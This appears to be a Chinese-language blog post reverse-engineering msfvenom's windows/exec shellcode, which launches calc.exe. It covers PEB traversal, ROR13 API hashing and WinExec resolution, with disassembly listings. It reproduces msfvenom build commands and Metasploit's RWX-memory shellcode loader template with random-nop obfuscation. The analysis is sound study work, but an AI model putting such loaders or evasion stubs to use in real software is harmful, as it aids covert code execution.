msfvenom生成的windows/exec shellcode分析
前言
由于之前就想分析msfvenom生成的payload。经过前后几次波折
第三次分析后才看懂了不少。
分析过程
1.msfvenom生成shellcode
ps:用x86更好的分析
msfvenom -p windows/exec cmd=calc.exe -f raw -o shellcode.bin
2.将shellcode放入一个PE里
准备工具:
- yasm.exe
- GoLink.exe
将shellcdoe.bin和shellcode.asm放在同一个目录
shellcode.asm
Global Start
SECTION 'foo' write,execute,read
Start:
incbin "shellcode.bin"
生成obj后在生成exe
yasm.win32.exe -f win32 -o shell.obj shellcode.asm
Golink /ni /entry Start shell.obj
3.利用IDA分析
loc_401088函数分析
msf生成payload的模板对照分析
提一点:msf生成的shellcode模板对应的API是hash( "kernel32.dll", "GetVersion" )
计算公式:
msf的windows API方法:
DLL HASH+API HASH=HASH
如果知道最终hash求对应的API名称,计算公式:HASH-DLL HASH=API HASH
例如:
kernel32.dll HASH->92AF16DA
Winexec HASH->F4C07457
x86截取最后8位
最终hash位:92AF16DA+F4C07457=876F8B31
得到hash反求API hash:876F8B31-92AF16DA=F4C07457
对应API和DLL 的HASH参考:https://github.com/hidd3ncod3s/WindowsAPIhash
def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
arch: ARCH_X86,
name: 'api_call'
)
stub_exit = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: None.
; Clobbers: EAX, EBX, (ESP will also be modified)
; Note: Execution is not expected to (successfully) continue past this block
exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK( 0 );
^
stub_alloc = %Q^
pushad ; Save registers
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
#{stub_block}
start: ;
pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size:
mov esi,#{code.length}
allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax ; Store allocated address in ebx
mov edi, eax ; Prepare EDI with the new address
mov ecx, esi ; Prepare ECX with the length of the code
call get_payload
got_payload:
pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling
exitblock:
#{stub_exit}
set_handler:
xor eax,eax
; push dword [fs:eax]
; mov dword [fs:eax], esp
push eax ; LPDWORD lpThreadId (NULL)
push eax ; DWORD dwCreationFlags (0)
push eax ; LPVOID lpParameter (NULL)
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
push eax ; SIZE_T dwStackSize (0 for default)
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
call ebp ; Spawn payload thread
pop eax ; Skip
; pop eax ; Skip
pop eax ; Skip
popad ; Get our registers back
; sub esp, 44 ; Move stack pointer back past the handler
^
stub_final = %Q^
get_payload:
call got_payload
payload:
; Append an arbitrary payload here
^
stub_alloc.gsub!('short', '')
stub_alloc.gsub!('byte', '')
wrapper = ""
# regs = %W{eax ebx ecx edx esi edi ebp}
cnt_jmp = 0
cnt_nop = 64
stub_alloc.each_line do |line|
line.gsub!(/;.*/, '')
line.strip!
next if line.empty?
if cnt_nop > 0 && rand(4) == 0
wrapper << "nop\n"
cnt_nop -= 1
end
if cnt_nop > 0 && rand(16) == 0
cnt_nop -= 2
cnt_jmp += 1
wrapper << "jmp autojump#{cnt_jmp}\n"
1.upto(rand(8)+1) do
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
cnt_nop -= 1
end
wrapper << "autojump#{cnt_jmp}:\n"
end
wrapper << line + "\n"
end
start函数对应分析
由于静态call ebp这种找不到对应的地址,通过od来跟踪到loc_401088函数里的call ebp
1.首先栈顶最上放出栈到ebp
2.然后push 1
3.在从堆栈里把calc.exe赋予到eax -> lea eax,[ebp+0B2h]
4.push eax,将calc.exe写入到堆栈
5.push Winexec对应的函数
6.然后call栈顶
地址跳转到00401006地址
PEB->Ldr->
mov edx, fs:[eax+30h] ; 寻找PEB地址
foo:0040100F mov edx, [edx+0Ch] ; PEB_LDR_DATA
foo:00401012 mov edx, [edx+14h] ; ModuleEntryPoint
foo:00401015
foo:00401015 loc_401015: ; CODE XREF: start+86↓j
foo:00401015 mov esi, [edx+28h] ; 遍历获取某些值的区段
foo:00401018 movzx ecx, word ptr [edx+26h]
xor edi, edi ; 清空EDI寄存器
lodsb ; 将SI的存储值赋予AL
foo:0040101E ; mov eax,[esi]
foo:0040101E ; df=1;SI+1 else SI-1
寻找对应API的函数
0040101E > /AC lods byte ptr ds:[esi]
0040101F . |3C 61 cmp al,0x61
00401021 . |7C 02 jl short shell.00401025
00401023 . |2C 20 sub al,0x20
00401025 > |C1CF 0D ror edi,0xD
00401028 . |01C7 add edi,eax
0040102A .^\E2 F2 loopd short shell.0040101E
0040102C . 52 push edx
0040102D . 57 push edi
0040102E . 8B52 10 mov edx,dword ptr ds:[edx+0x10] ; shell.00400000
00401031 . 8B4A 3C mov ecx,dword ptr ds:[edx+0x3C]
00401034 . 8B4C11 78 mov ecx,dword ptr ds:[ecx+edx+0x78]
00401038 . E3 48 jecxz short shell.00401082
0040103A . 01D1 add ecx,edx
0040103C . 51 push ecx
0040103D . 8B59 20 mov ebx,dword ptr ds:[ecx+0x20]
00401040 . 01D3 add ebx,edx
00401042 . 8B49 18 mov ecx,dword ptr ds:[ecx+0x18]
00401045 > E3 3A jecxz short shell.00401081
00401047 . 49 dec ecx
00401048 . 8B348B mov esi,dword ptr ds:[ebx+ecx*4]
0040104B . 01D6 add esi,edx
0040104D . 31FF xor edi,edi
0040104F > AC lods byte ptr ds:[esi]
00401050 . C1CF 0D ror edi,0xD
00401053 . 01C7 add edi,eax
00401055 . 38E0 cmp al,ah
00401057 .^ 75 F6 jnz short shell.0040104F
00401059 . 037D F8 add edi,dword ptr ss:[ebp-0x8]
0040105C . 3B7D 24 cmp edi,dword ptr ss:[ebp+0x24]
0040105F .^ 75 E4 jnz short shell.00401045
最后得到的API函数地址赋于eax
00401075 . 894424 24 mov dword ptr ss:[esp+0x24],eax ; kernel32.WinExec
最后jmp eax对应的地址执行
执行完WinExec函数后,执行GetVersion判断退出操作
简写成一个过程:
PEB->ModuleEntryPoint->找到Kernel32.dll->WinExec->lea eax->call->Exit
参考链接
https://github.com/rapid7/metasploit-framework/blob/4a380771d3a18011af153e47e1d08a4a83feb452/lib/msf/util/exe.rb#L1803
https://www.anquanke.com/post/id/85386
http://9b113d1a.blogspot.com/2017/03/les-hash-composite-couplemodulefunction.html
https://my.oschina.net/u/4593082/blog/4418768
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:msfvenom生成的windows/exec shellcode分析
本文作者:九世
发布时间:2021-02-19, 12:40:56
最后更新:2021-02-19, 16:46:52
原始链接:http://jiushill.github.io/posts/c86ff70d.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。